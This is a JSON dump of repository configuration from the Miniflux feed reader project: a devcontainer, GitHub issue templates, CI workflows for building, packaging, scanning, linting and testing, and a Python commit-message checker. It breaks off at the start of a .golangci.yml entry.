[
  {
    "path": ".devcontainer/devcontainer.json",
    "content": "{\n  \"name\": \"Miniflux\",\n  \"dockerComposeFile\": \"docker-compose.yml\",\n  \"service\": \"app\",\n  \"workspaceFolder\": \"/workspace\",\n  \"remoteUser\": \"vscode\",\n  \"forwardPorts\": [\n    8080\n  ],\n  \"features\": {\n    \"ghcr.io/devcontainers/features/github-cli:1\": {},\n    \"ghcr.io/devcontainers/features/docker-outside-of-docker:1\": {\n      \"moby\": false\n    }\n  },\n  \"customizations\": {\n    \"vscode\": {\n      \"settings\": {\n        \"go.toolsManagement.checkForUpdates\": \"local\",\n        \"go.useLanguageServer\": true,\n        \"go.gopath\": \"/go\"\n      },\n      \"extensions\": [\n        \"ms-azuretools.vscode-docker\",\n        \"golang.go\",\n        \"rangav.vscode-thunder-client\",\n        \"GitHub.codespaces\",\n        \"GitHub.copilot\",\n        \"GitHub.copilot-chat\"\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": ".devcontainer/docker-compose.yml",
    "content": "services:\n  app:\n    image: mcr.microsoft.com/devcontainers/go:1-trixie # https://www.debian.org/releases/trixie/index.en.html\n    volumes:\n      - ..:/workspace:cached\n    command: sleep infinity\n    network_mode: service:db\n    environment:\n      - CREATE_ADMIN=1\n      - ADMIN_USERNAME=admin\n      - ADMIN_PASSWORD=test123\n  db:\n    image: postgres:latest\n    restart: unless-stopped\n    volumes:\n      - postgres-data:/var/lib/postgresql\n    hostname: postgres\n    environment:\n      POSTGRES_DB: miniflux2\n      POSTGRES_USER: postgres\n      POSTGRES_PASSWORD: postgres\n      POSTGRES_HOST_AUTH_METHOD: trust\n    ports:\n      - 5432:5432\n  apprise:\n    image: caronc/apprise:1.0\n    restart: unless-stopped\n    hostname: apprise\nvolumes:\n  postgres-data: null\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.yml",
    "content": "name: \"Bug Report\"\ndescription: \"Report a bug or unexpected behavior\"\ntitle: \"[Bug]: \"\ntype: \"Bug\"\nlabels: [\"triage needed\"]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for reporting a bug! Please provide detailed information to help us reproduce and fix the issue.\n\n  - type: input\n    id: summary\n    attributes:\n      label: \"Bug Summary\"\n      description: \"Briefly describe the bug.\"\n      placeholder: \"e.g., Error when saving a new entry\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: description\n    attributes:\n      label: \"Description\"\n      description: \"A clear and concise description of the bug.\"\n      placeholder: \"e.g., When I click 'Save', I get a 500 error.\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: steps_to_reproduce\n    attributes:\n      label: \"Steps to Reproduce\"\n      description: \"Steps to reproduce the behavior.\"\n      placeholder: |\n        1. Go to '...'\n        2. Click on '...'\n        3. Scroll down to '...'\n        4. See error\n    validations:\n      required: true\n\n  - type: textarea\n    id: expected_behavior\n    attributes:\n      label: \"Expected Behavior\"\n      description: \"What should happen instead?\"\n      placeholder: \"e.g., The form should be saved successfully.\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: actual_behavior\n    attributes:\n      label: \"Actual Behavior\"\n      description: \"What actually happens?\"\n      placeholder: \"e.g., A 500 error is returned with no useful error message.\"\n    validations:\n      required: true\n\n  - type: input\n    id: version\n    attributes:\n      label: \"Version\"\n      description: \"Which version of Miniflux are you using?\"\n      placeholder: \"e.g., 2.2.6\"\n    validations:\n      required: true\n\n  - type: input\n    id: browser\n    attributes:\n      label: \"Browser\"\n      description: \"If applicable, which browser are you using? Please provide the version.\"\n      placeholder: \"e.g., Chrome, Firefox, Safari\"\n    validations:\n      required: false\n\n  - type: textarea\n    id: logs\n    attributes:\n      label: \"Relevant Logs or Error Output\"\n      description: \"Paste any relevant logs or error messages (if applicable).\"\n      render: shell\n      placeholder: \"e.g., Stack trace, log files, browser console logs, or console output\"\n    validations:\n      required: false\n\n  - type: textarea\n    id: additional_context\n    attributes:\n      label: \"Additional Context\"\n      description: \"Add any other context about the problem here.\"\n      placeholder: \"e.g., Screenshots, video recordings, or related issues\"\n    validations:\n      required: false\n\n  - type: checkboxes\n    id: agreement\n    attributes:\n      label: \"Checklist\"\n      description: \"Please confirm the following:\"\n      options:\n        - label: \"I have searched existing issues to ensure this bug hasn't been reported before.\"\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/documentation.yml",
    "content": "name: \"Documentation Issue\"\ndescription: \"Report issues or suggest improvements for the documentation\"\ntitle: \"[Docs]: \"\ntype: \"Documentation\"\nlabels: [\"triage needed\"]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for helping improve the Miniflux documentation! Clear and accurate documentation helps everyone.\n\n  - type: dropdown\n    id: issue_type\n    attributes:\n      label: \"Documentation Issue Type\"\n      description: \"What kind of documentation issue are you reporting?\"\n      options:\n        - \"Missing Information\"\n        - \"Incorrect Information\"\n        - \"Outdated Information\"\n        - \"Unclear Explanation\"\n        - \"Formatting/Structural Issue\"\n        - \"Typo/Grammar Error\"\n        - \"Documentation Request\"\n        - \"Other\"\n    validations:\n      required: true\n\n  - type: input\n    id: summary\n    attributes:\n      label: \"Summary\"\n      description: \"Briefly describe the documentation issue.\"\n      placeholder: \"e.g., The API authentication section is outdated\"\n    validations:\n      required: true\n\n  - type: input\n    id: location\n    attributes:\n      label: \"Location\"\n      description: \"Where is the documentation you're referring to? Provide URLs, file paths, or section names.\"\n      placeholder: \"e.g., README.md, docs/api.md, Installation section of the website\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: description\n    attributes:\n      label: \"Detailed Description\"\n      description: \"Provide a detailed description of the issue or improvement.\"\n      placeholder: \"e.g., The API authentication section doesn't mention the new token-based authentication method introduced in version 2.0.5.\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: current_content\n    attributes:\n      label: \"Current Content (if applicable)\"\n      description: \"What does the current documentation say?\"\n      placeholder: \"Paste the current documentation text here.\"\n    validations:\n      required: false\n\n  - type: textarea\n    id: suggested_content\n    attributes:\n      label: \"Suggested Changes\"\n      description: \"If you have specific suggestions for how to improve the documentation, please provide them here.\"\n      placeholder: \"e.g., Add a new section about token-based authentication with these details...\"\n    validations:\n      required: false\n\n  - type: input\n    id: version\n    attributes:\n      label: \"Version\"\n      description: \"Which version of Miniflux does this documentation issue relate to?\"\n      placeholder: \"e.g., 2.2.6, or 'all versions'\"\n    validations:\n      required: false\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.yml",
    "content": "name: \"Feature Request\"\ndescription: \"Suggest an idea or improvement for the project\"\ntitle: \"[Feature]: \"\ntype: \"Feature\"\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to suggest a feature! Please provide detailed information to help us understand and evaluate your idea.\n\n  - type: input\n    id: summary\n    attributes:\n      label: \"Feature Summary\"\n      description: \"Briefly describe the feature or enhancement.\"\n      placeholder: \"e.g., Add dark mode support\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: problem\n    attributes:\n      label: \"What problem does this feature solve?\"\n      description: \"Explain the problem or limitation this feature would address.\"\n      placeholder: \"e.g., It's difficult to use the app in low-light environments.\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: solution\n    attributes:\n      label: \"Proposed Solution\"\n      description: \"Describe how you think this feature should work.\"\n      placeholder: \"e.g., Add a toggle in settings to switch between light and dark mode.\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: alternatives\n    attributes:\n      label: \"Alternatives Considered\"\n      description: \"Have you considered other solutions or workarounds?\"\n      placeholder: \"e.g., Using browser extensions to force dark mode.\"\n    validations:\n      required: false\n\n  - type: textarea\n    id: additional_context\n    attributes:\n      label: \"Additional Context\"\n      description: \"Add any other context, screenshots, or examples to explain your request.\"\n      placeholder: \"e.g., A screenshot of a similar feature in another project.\"\n    validations:\n      required: false\n\n  - type: checkboxes\n    id: agreement\n    attributes:\n      label: \"Checklist\"\n      description: \"Please confirm the following:\"\n      options:\n        - label: \"I have searched existing issues to ensure this feature hasn't been requested before.\"\n          required: true\n        - label: \"I understand that feature requests are not guaranteed to be implemented.\"\n          required: true\n        - label: \"I agree to follow the project's contribution guidelines.\"\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feed_issue.yml",
    "content": "name: \"Feed/Website Issue\"\ndescription: \"Report problems with a specific feed or website\"\ntitle: \"[Feed Issue]: \"\ntype: \"Feed Issue\"\nlabels: [\"triage needed\"]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for reporting an issue with a feed or website! Please provide detailed information to help us diagnose and resolve the problem.\n\n  - type: input\n    id: feed_url\n    attributes:\n      label: \"Feed URL\"\n      description: \"Provide the URL of the feed that is not working correctly.\"\n      placeholder: \"e.g., https://example.com/feed.xml\"\n    validations:\n      required: true\n\n  - type: input\n    id: website_url\n    attributes:\n      label: \"Website URL\"\n      description: \"Provide the URL of the website.\"\n      placeholder: \"e.g., https://example.com\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: problem_description\n    attributes:\n      label: \"Problem Description\"\n      description: \"Describe the issue you are experiencing with this feed.\"\n      placeholder: |\n        e.g.,\n        - The feed URL returns a 403 error.\n        - The content is malformed.\n        - Images are not loading in the web ui.\n    validations:\n      required: true\n\n  - type: textarea\n    id: expected_behavior\n    attributes:\n      label: \"Expected Behavior\"\n      description: \"Describe what you expect to happen.\"\n      placeholder: \"e.g., The feed should show the images correctly.\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: error_logs\n    attributes:\n      label: \"Relevant Logs or Error Output\"\n      description: \"Paste any relevant logs or error messages, if available.\"\n      render: shell\n      placeholder: \"e.g., HTTP error codes, invalid XML warnings, etc.\"\n    validations:\n      required: false\n\n  - type: textarea\n    id: additional_context\n    attributes:\n      label: \"Additional Context\"\n      description: \"Add any other context, screenshots, or related information to help us troubleshoot.\"\n      placeholder: \"e.g., Is this a recurring problem? Did the feed work before?\"\n    validations:\n      required: false\n\n  - type: checkboxes\n    id: troubleshooting\n    attributes:\n      label: \"Troubleshooting Steps\"\n      description: \"Please confirm that you have tried the following:\"\n      options:\n        - label: \"I have checked if the feed URL is correct and accessible in a web browser.\"\n          required: true\n        - label: \"I have checked if the feed URL is correct and accessible with `curl`.\"\n          required: true\n        - label: \"I have verified that the feed is valid using an RSS/Atom validator.\"\n          required: false\n        - label: \"I have searched for existing issues to avoid duplicates.\"\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/proposal.yml",
    "content": "name: \"Proposal / RFC\"\ndescription: \"Propose a significant change, or architectural decision\"\ntitle: \"[Proposal]: \"\ntype: \"Proposal\"\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to submit a proposal! Please provide detailed information to ensure a productive discussion.\n\n  - type: input\n    id: summary\n    attributes:\n      label: \"Proposal Summary\"\n      description: \"A brief summary of the proposed change or idea.\"\n      placeholder: \"e.g., Refactor database schema for performance optimization\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: motivation\n    attributes:\n      label: \"Motivation and Context\"\n      description: \"Explain the problem this proposal addresses. Why is it necessary? What are the current limitations or pain points?\"\n      placeholder: |\n        e.g.,\n        - The current database schema causes performance bottlenecks when querying large datasets.\n        - Adding this feature will improve scalability and reliability for large-scale use cases.\n    validations:\n      required: true\n\n  - type: textarea\n    id: proposed_solution\n    attributes:\n      label: \"Proposed Solution\"\n      description: \"Describe the proposed solution or approach. Include technical details, diagrams, and examples where possible.\"\n      placeholder: |\n        e.g.,\n        - Redesign the schema to normalize tables and introduce indexing.\n    validations:\n      required: true\n\n  - type: textarea\n    id: alternatives\n    attributes:\n      label: \"Alternatives Considered\"\n      description: \"List any alternative approaches that were considered and explain why they were rejected.\"\n      placeholder: |\n        e.g.,\n        - Use Redis for caching, but it adds operational complexity.\n        - Stick with the current schema and optimize queries, but this has limited impact on performance.\n    validations:\n      required: false\n\n  - type: textarea\n    id: impact\n    attributes:\n      label: \"Impact and Risks\"\n      description: \"Describe the potential impact of this change. Highlight possible risks and backward compatibility concerns.\"\n      placeholder: |\n        e.g.,\n        - May require data migration with downtime.\n        - Could introduce breaking changes in API responses.\n        - Affects core functionality, requiring extensive testing.\n    validations:\n      required: true\n\n  - type: textarea\n    id: additional_context\n    attributes:\n      label: \"Additional Context or References\"\n      description: \"Add any relevant context, links to related discussions, RFCs, or design documents.\"\n      placeholder: \"e.g., Links to research, GitHub issues, or similar projects\"\n    validations:\n      required: false\n\n  - type: checkboxes\n    id: agreement\n    attributes:\n      label: \"Checklist\"\n      description: \"Please confirm the following:\"\n      options:\n        - label: \"I have reviewed existing proposals to ensure this change hasn't been proposed before.\"\n          required: true\n        - label: \"I agree to provide follow-up updates and maintain discussion on this proposal.\"\n          required: true\n        - label: \"I agree to follow the project's contribution guidelines.\"\n          required: true\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"gomod\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n\n  - package-ecosystem: \"docker\"\n    directory: \"/packaging/docker/alpine\"\n    schedule:\n      interval: \"weekly\"\n\n  - package-ecosystem: \"docker\"\n    directory: \"/packaging/docker/distroless\"\n    schedule:\n      interval: \"weekly\"\n\n  - package-ecosystem: \"docker\"\n    directory: \"packaging/debian\"\n    schedule:\n      interval: \"weekly\"\n\n  - package-ecosystem: \"docker\"\n    directory: \"packaging/rpm\"\n    schedule:\n      interval: \"weekly\"\n\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n"
  },
  {
    "path": ".github/pull_request_template.md",
    "content": "Have you followed these guidelines?\n\n- [ ] I have tested my changes\n- [ ] There are no breaking changes\n- [ ] I have thoroughly tested my changes and verified there are no regressions\n- [ ] My commit messages follow the [Conventional Commits specification](https://www.conventionalcommits.org/)\n- [ ] I have read and understood the [contribution guidelines](https://github.com/miniflux/v2/blob/main/CONTRIBUTING.md)\n"
  },
  {
    "path": ".github/workflows/build_binaries.yml",
    "content": "name: Build Binaries\npermissions:\n  contents: read\non:\n  workflow_dispatch:\n  push:\n    tags:\n      - '[0-9]+.[0-9]+.[0-9]+'\njobs:\n  build:\n    name: Build\n    if: github.repository_owner == 'miniflux'\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n      - name: Set up Golang\n        uses: actions/setup-go@v6\n        with:\n          go-version: stable\n          check-latest: true\n      - name: Compile binaries\n        env:\n          CGO_ENABLED: 0\n        run: make build\n      - name: Upload binaries\n        uses: actions/upload-artifact@v7\n        with:\n          name: binaries\n          path: miniflux-*\n          if-no-files-found: error\n          retention-days: 5\n"
  },
  {
    "path": ".github/workflows/codeberg_mirror.yml",
    "content": "name: Mirror to Codeberg\n\non:\n  push:\n    branches: [ main ]\n  delete:\n  workflow_dispatch:\n\njobs:\n  mirror:\n    if: github.repository_owner == 'miniflux'\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n        with:\n          fetch-depth: 0\n      - name: Mirror to Codeberg\n        env:\n          CODEBERG_USERNAME: ${{ secrets.CODEBERG_USERNAME }}\n          CODEBERG_TOKEN: ${{ secrets.CODEBERG_TOKEN }}\n        run: |\n          git remote add codeberg https://${{ secrets.CODEBERG_USERNAME }}:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/miniflux/v2.git\n          git push --force --prune codeberg \\\n            \"refs/heads/*:refs/heads/*\" \\\n            \"refs/tags/*:refs/tags/*\"\n"
  },
  {
    "path": ".github/workflows/codeql-analysis.yml",
    "content": "name: \"CodeQL\"\n\npermissions: read-all\n\non:\n  push:\n    branches: [ main ]\n    paths:\n      - '**.js'\n      - '**.go'\n      - '!**_test.go'\n      - '.github/workflows/codeql-analysis.yml'\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [ main ]\n    paths:\n      - '**.js'\n      - '**.go'\n      - '!**_test.go'\n      - '.github/workflows/codeql-analysis.yml'\n  schedule:\n    - cron: '45 22 * * 3'\n  workflow_dispatch:\n\njobs:\n  analyze:\n    name: Analyze (${{ matrix.language }})\n    runs-on: ubuntu-latest\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'go', 'javascript' ]\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v6\n\n    - uses: actions/setup-go@v6\n      if: matrix.language == 'go'\n      with:\n        go-version: stable\n\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v4\n      with:\n        languages: ${{ matrix.language }}\n\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@v4\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v4\n      with:\n        category: \"/language:${{ matrix.language }}\"\n"
  },
  {
    "path": ".github/workflows/debian_packages.yml",
    "content": "name: Debian Packages\npermissions: read-all\non:\n  workflow_dispatch:\n  push:\n    tags:\n      - '[0-9]+.[0-9]+.[0-9]+'\n  schedule:\n    - cron: '0 0 * * 1,4' # Runs at 00:00 UTC on Monday and Thursday\n  pull_request:\n    branches: [ main ]\n    paths:\n      - 'packaging/debian/**' # Only run on changes to the debian packaging files\njobs:\n  test-packages:\n    if: (github.event_name == 'schedule' && github.repository_owner == 'miniflux' )\n      || github.event_name == 'pull_request'\n    name: Test Packages\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n      with:\n          fetch-depth: 0\n    - name: Set up QEMU\n      uses: docker/setup-qemu-action@v4\n    - name: Set up Docker Buildx\n      uses: docker/setup-buildx-action@v4\n      id: buildx\n      with:\n          install: true\n    - name: Available Docker Platforms\n      run: echo ${{ steps.buildx.outputs.platforms }}\n    - name: Build Debian Packages\n      run: make debian-packages\n    - name: List generated files\n      run: ls -l *.deb\n  build-packages-manually:\n    if: github.event_name == 'workflow_dispatch'\n    name: Build Packages Manually\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n      with:\n          fetch-depth: 0\n    - name: Set up QEMU\n      uses: docker/setup-qemu-action@v4\n    - name: Set up Docker Buildx\n      uses: docker/setup-buildx-action@v4\n      id: buildx\n      with:\n          install: true\n    - name: Available Docker Platforms\n      run: echo ${{ steps.buildx.outputs.platforms }}\n    - name: Build Debian Packages\n      run: make debian-packages\n    - name: Upload package\n      uses: actions/upload-artifact@v7\n      with:\n        name: packages\n        path: \"*.deb\"\n        if-no-files-found: error\n        retention-days: 3\n  publish-packages:\n    if: github.event_name == 'push'\n    name: Publish Packages\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n      with:\n          fetch-depth: 0\n    - name: Set up QEMU\n      uses: docker/setup-qemu-action@v4\n    - name: Set up Docker Buildx\n      uses: docker/setup-buildx-action@v4\n      id: buildx\n      with:\n          install: true\n    - name: Available Docker Platforms\n      run: echo ${{ steps.buildx.outputs.platforms }}\n    - name: Build Debian Packages\n      run: make debian-packages\n    - name: List generated files\n      run: ls -l *.deb\n    - name: Upload packages to repository\n      env:\n        FURY_TOKEN: ${{ secrets.FURY_TOKEN }}\n      run: for f in *.deb; do curl -F package=@$f https://$FURY_TOKEN@push.fury.io/miniflux/; done\n"
  },
  {
    "path": ".github/workflows/docker.yml",
    "content": "name: Docker\non:\n  schedule:\n    - cron: '0 1 * * *'\n  push:\n    tags:\n      - '[0-9]+.[0-9]+.[0-9]+'\n  pull_request:\n    branches: [ main ]\n    paths:\n      - 'packaging/docker/**'\njobs:\n  docker-images:\n    name: Docker Images\n    if: github.repository_owner == 'miniflux'\n    permissions:\n      packages: write\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n        with:\n          fetch-depth: 0\n\n      - name: Generate Alpine Docker tags\n        id: docker_alpine_tags\n        uses: docker/metadata-action@v6\n        with:\n          images: |\n            docker.io/${{ github.repository_owner }}/miniflux\n            ghcr.io/${{ github.repository_owner }}/miniflux\n            quay.io/${{ github.repository_owner }}/miniflux\n          tags: |\n            type=ref,event=pr\n            type=schedule,pattern=nightly\n            type=semver,pattern={{raw}}\n\n      - name: Generate Distroless Docker tags\n        id: docker_distroless_tags\n        uses: docker/metadata-action@v6\n        with:\n          images: |\n            docker.io/${{ github.repository_owner }}/miniflux\n            ghcr.io/${{ github.repository_owner }}/miniflux\n            quay.io/${{ github.repository_owner }}/miniflux\n          tags: |\n            type=ref,event=pr\n            type=schedule,pattern=nightly\n            type=semver,pattern={{raw}}\n          flavor: |\n            suffix=-distroless,onlatest=true\n\n      - name: Set up QEMU\n        uses: docker/setup-qemu-action@v4\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@v4\n\n      - name: Login to DockerHub\n        if: ${{ github.event_name != 'pull_request' && vars.PUBLISH_DOCKER_IMAGES == 'true' }}\n        uses: docker/login-action@v4\n        with:\n          username: ${{ secrets.DOCKERHUB_USERNAME }}\n          password: ${{ secrets.DOCKERHUB_TOKEN }}\n\n      - name: Login to GitHub Container Registry\n        if: ${{ github.event_name != 'pull_request' && vars.PUBLISH_DOCKER_IMAGES == 'true' }}\n        uses: docker/login-action@v4\n        with:\n          registry: ghcr.io\n          username: ${{ github.repository_owner }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Login to Quay Container Registry\n        if: ${{ github.event_name != 'pull_request' && vars.PUBLISH_DOCKER_IMAGES == 'true' }}\n        uses: docker/login-action@v4\n        with:\n          registry: quay.io\n          username: ${{ secrets.QUAY_USERNAME }}\n          password: ${{ secrets.QUAY_TOKEN }}\n\n      - name: Build and Push Alpine images\n        uses: docker/build-push-action@v7\n        if: ${{ vars.PUBLISH_DOCKER_IMAGES == 'true' }}\n        with:\n          context: .\n          file: ./packaging/docker/alpine/Dockerfile\n          platforms: linux/amd64,linux/arm/v6,linux/arm/v7,linux/arm64\n          push: ${{ github.event_name != 'pull_request' }}\n          tags: ${{ steps.docker_alpine_tags.outputs.tags }}\n\n      - name: Build and Push Distroless images\n        uses: docker/build-push-action@v7\n        if: ${{ vars.PUBLISH_DOCKER_IMAGES == 'true' }}\n        with:\n          context: .\n          file: ./packaging/docker/distroless/Dockerfile\n          platforms: linux/amd64,linux/arm64\n          push: ${{ github.event_name != 'pull_request' }}\n          tags: ${{ steps.docker_distroless_tags.outputs.tags }}\n"
  },
  {
    "path": ".github/workflows/linters.yml",
    "content": "name: Linters\npermissions: read-all\n\non:\n  pull_request:\n    branches:\n    - main\n  workflow_dispatch:\n\njobs:\n  jshint:\n    name: Javascript Linter\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n    - name: Install linters\n      run: |\n        sudo npm install -g jshint@2.13.6 eslint@8.57.0\n    - name: Run jshint\n      run: jshint internal/ui/static/js/*.js\n    - name: Run ESLint\n      run: eslint internal/ui/static/js/*.js\n\n  golangci:\n    name: Golang Linters\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: actions/setup-go@v6\n        with:\n          go-version: stable\n      - uses: golangci/golangci-lint-action@v9\n      - name: Run gofmt linter\n        run: gofmt -d -e .\n\n  commitlint:\n    if: github.event_name == 'pull_request'\n    name: Commit Linter\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n        with:\n          fetch-depth: 0\n      - name: Set up Python\n        uses: actions/setup-python@v6\n        with:\n          python-version: '3.13'\n      - name: Validate PR commits\n        run: python3 .github/workflows/scripts/commit-checker.py --base ${{ github.event.pull_request.base.sha }} --head ${{ github.event.pull_request.head.sha }}\n"
  },
  {
    "path": ".github/workflows/rpm_packages.yml",
    "content": "name: RPM Packages\npermissions: read-all\non:\n  workflow_dispatch:\n  push:\n    tags:\n      - '[0-9]+.[0-9]+.[0-9]+'\n  schedule:\n    - cron: '0 0 * * 1,4' # Runs at 00:00 UTC on Monday and Thursday\n  pull_request:\n    branches: [ main ]\n    paths:\n      - 'packaging/rpm/**' # Only run on changes to the rpm packaging files\n      - '.github/workflows/rpm_packages.yml'\njobs:\n  test-package:\n    if: github.event_name == 'schedule' || github.event_name == 'pull_request'\n    name: Test Packages\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n      with:\n          fetch-depth: 0\n    - name: Build RPM Package\n      run: make rpm VERSION=2.2.x_dev\n    - name: List generated files\n      run: ls -l *.rpm\n  build-package-manually:\n    if: github.event_name == 'workflow_dispatch'\n    name: Build Packages Manually\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n      with:\n          fetch-depth: 0\n    - name: Build RPM Package\n      run: make rpm\n    - name: Upload package\n      uses: actions/upload-artifact@v7\n      with:\n        name: packages\n        path: \"*.rpm\"\n        if-no-files-found: error\n        retention-days: 3\n  publish-package:\n    if: github.event_name == 'push'\n    name: Publish Packages\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v6\n      with:\n          fetch-depth: 0\n    - name: Build RPM Package\n      run: make rpm\n    - name: List generated files\n      run: ls -l *.rpm\n    - name: Upload package to repository\n      env:\n        FURY_TOKEN: ${{ secrets.FURY_TOKEN }}\n      run: for f in *.rpm; do curl -F package=@$f https://$FURY_TOKEN@push.fury.io/miniflux/; done\n"
  },
  {
    "path": ".github/workflows/scripts/commit-checker.py",
    "content": "import subprocess\nimport re\nimport sys\nimport argparse\nfrom typing import Match\n\n# Conventional commit pattern (including Git revert messages)\nCONVENTIONAL_COMMIT_PATTERN: str = (\n    r\"^((build|chore|ci|docs|feat|fix|perf|refactor|revert|security|style|test)(\\([a-z0-9-]+\\))?!?: .{1,100}|Revert .+)\"\n)\n\n\ndef get_commit_message(commit_hash: str) -> str:\n    \"\"\"Get the commit message for a given commit hash.\"\"\"\n    try:\n        result: subprocess.CompletedProcess = subprocess.run(\n            [\"git\", \"show\", \"-s\", \"--format=%B\", commit_hash],\n            capture_output=True,\n            text=True,\n            check=True,\n        )\n        return result.stdout.strip()\n    except subprocess.CalledProcessError as e:\n        print(f\"Error retrieving commit message: {e}\")\n        sys.exit(1)\n\n\ndef check_commit_message(message: str, pattern: str = CONVENTIONAL_COMMIT_PATTERN) -> bool:\n    \"\"\"Check if commit message follows conventional commit format.\"\"\"\n    first_line: str = message.split(\"\\n\")[0]\n    match: Match[str] | None = re.match(pattern, first_line)\n    return bool(match)\n\n\ndef check_commit_range(base_ref: str, head_ref: str) -> list[dict[str, str]]:\n    \"\"\"Check all commits in a range for compliance.\"\"\"\n    try:\n        result: subprocess.CompletedProcess = subprocess.run(\n            [\"git\", \"log\", \"--format=%H\", f\"{base_ref}..{head_ref}\"],\n            capture_output=True,\n            text=True,\n            check=True,\n        )\n        commit_hashes: list[str] = result.stdout.strip().split(\"\\n\")\n\n        # Filter out empty lines\n        commit_hashes = [hash for hash in commit_hashes if hash]\n\n        non_compliant: list[dict[str, str]] = []\n        for commit_hash in commit_hashes:\n            message: str = get_commit_message(commit_hash)\n            if not check_commit_message(message):\n                non_compliant.append({\"hash\": commit_hash, \"message\": message.split(\"\\n\")[0]})\n\n        return non_compliant\n    except subprocess.CalledProcessError as e:\n        print(f\"Error checking commit range: {e}\")\n        sys.exit(1)\n\n\ndef main() -> None:\n    parser: argparse.ArgumentParser = argparse.ArgumentParser(description=\"Check conventional commit compliance\")\n    parser.add_argument(\"--base\", required=True, help=\"Base ref (starting commit, exclusive)\")\n    parser.add_argument(\"--head\", required=True, help=\"Head ref (ending commit, inclusive)\")\n    args: argparse.Namespace = parser.parse_args()\n\n    non_compliant: list[dict[str, str]] = check_commit_range(args.base, args.head)\n\n    if non_compliant:\n        print(\"The following commits do not follow the conventional commit format:\")\n        for commit in non_compliant:\n            print(f\"- {commit['hash'][:8]}: {commit['message']}\")\n        print(\"\\nPlease ensure your commit messages follow the format:\")\n        print(\"type(scope): subject\")\n        print(\"\\nWhere type is one of: build, chore, ci, docs, feat, fix, perf, refactor, revert, style, test\")\n        sys.exit(1)\n    else:\n        print(\"All commits follow the conventional commit format!\")\n        sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": ".github/workflows/tests.yml",
    "content": "name: Tests\npermissions: read-all\n\non:\n  pull_request:\n    branches:\n    - main\n  workflow_dispatch:\n\njobs:\n  unit-tests:\n    name: Unit Tests\n    runs-on: ${{ matrix.os }}\n    strategy:\n      max-parallel: 4\n      matrix:\n        os: [ubuntu-latest, windows-latest, macOS-latest]\n    steps:\n    - name: Checkout\n      uses: actions/checkout@v6\n    - name: Set up Go\n      uses: actions/setup-go@v6\n      with:\n        go-version: stable\n    - name: Run unit tests with coverage and race conditions checking\n      if: matrix.os == 'ubuntu-latest'\n      run: make test\n    - name: Run unit tests without coverage and race conditions checking\n      if: matrix.os != 'ubuntu-latest'\n      run: go test ./...\n\n  integration-tests:\n    name: Integration Tests\n    runs-on: ubuntu-latest\n    services:\n      postgres:\n        image: postgres:9.5\n        env:\n          POSTGRES_USER: postgres\n          POSTGRES_PASSWORD: postgres\n          POSTGRES_DB: postgres\n        ports:\n        - 5432:5432\n        options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5\n    steps:\n    - name: Checkout\n      uses: actions/checkout@v6\n    - name: Set up Go\n      uses: actions/setup-go@v6\n      with:\n        go-version: stable\n    - name: Install Postgres client\n      run: sudo apt update && sudo apt install -y postgresql-client\n    - name: Run integration tests\n      run: make integration-test\n      env:\n        PGHOST: 127.0.0.1\n        PGPASSWORD: postgres\n"
  },
  {
    "path": ".gitignore",
    "content": "./*.sha256\n/miniflux\n.idea\n.vscode\n*.deb\n*.rpm\nminiflux-*\n"
  },
  {
    "path": ".golangci.yml",
